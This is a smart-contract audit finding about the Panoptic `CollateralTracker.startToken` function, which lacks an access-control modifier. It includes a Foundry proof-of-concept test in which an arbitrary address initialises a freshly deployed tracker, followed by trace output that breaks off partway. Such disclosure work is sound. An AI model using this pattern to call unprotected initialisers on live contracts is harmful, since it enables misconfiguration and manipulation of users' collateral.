The `startToken` function in the `CollateralTracker` contract is missing a critical modifier to ensure that only the associated Panoptic pool can call it
Audit: 2024-06-panoptic-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2024-06-panoptic/blob/153f0d82440b7e63075d55b0659706531431145f/contracts/CollateralTracker.sol#L210-L249


# Vulnerability details

## Impact
Detailed description of the impact of this finding.

Without the `onlyPanopticPool` modifier, any external entity can call `startToken`, potentially allowing unauthorized initialization of the collateral tracker. This could lead to incorrect tracking of collateral, manipulation of pool assets, and unauthorized changes to the state variables.

## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

The `startToken` function is intended to be called once by the factory to initialize the collateral tracking system. However, as it is currently implemented without the `onlyPanopticPool` modifier, it can be called by any address:

```sol
function startToken(
    bool underlyingIsToken0,
    address token0,
    address token1,
    uint24 fee,
    PanopticPool panopticPool
) external {
    // Initialization code...
}
```

An attacker could potentially call this function with false parameters, leading to a misconfigured collateral tracker.

POC
```txt
File Name: test/foundry/core/CollateralTracker.t.sol
Prerequisite: Insert the test function beneath into line 597 just after the prior function in the CollateralTracker.t.sol file.
Then open terminal> CD into the panoptic root folder> and run: forge test -vvvvv --match-test test_Success_Unauth_StartToken_virtualShares  --fork-url "https://eth-mainnet.g.alchemy.com/v2/{Token}"
```
```sol
function test_Success_Unauth_StartToken_virtualShares() public {
        _initWorld(0);
        CollateralTracker ct = new CollateralTracker(
            10,
            2_000,
            1_000,
            -1_024,
            5_000,
            9_000,
            20_000
        );

        vm.prank(address(0xbEEF));
        ct.startToken(false, token0, token1, fee, panopticPool);

        assertEq(ct.totalSupply(), 10 ** 6);
        assertEq(ct.totalAssets(), 1);
    }
```
```bash
forge test -vvvvv --match-test test_Success_Unauth_StartToken_virtualShares  --fork-url "https://eth-mainnet.g.alchemy.com/v2/{Token}"
[⠊] Compiling...
[⠢] Compiling 1 files with Solc 0.8.25
[⠆] Solc 0.8.25 finished in 10.56s
Compiler run successful with warnings:

Ran 1 test for test/foundry/core/CollateralTracker.t.sol:CollateralTrackerTest
[PASS] test_Success_Unauth_StartToken_virtualShares() (gas: 48849426)
Logs:
  Bound Result 0

Traces:
  [230] CollateralTrackerTest::setUp()
    └─ ← [Stop] 

  [48849426] CollateralTrackerTest::test_Success_Unauth_StartToken_virtualShares()
    ├─ [0] console::log("Bound Result", 0) [staticcall]
    │   └─ ← [Stop] 
    ├─ [279] 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640::tickSpacing() [staticcall]
    │   └─ ← [Return] 10
    ├─ [266] 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640::token0() [staticcall]
    │   └─ ← [Return] 0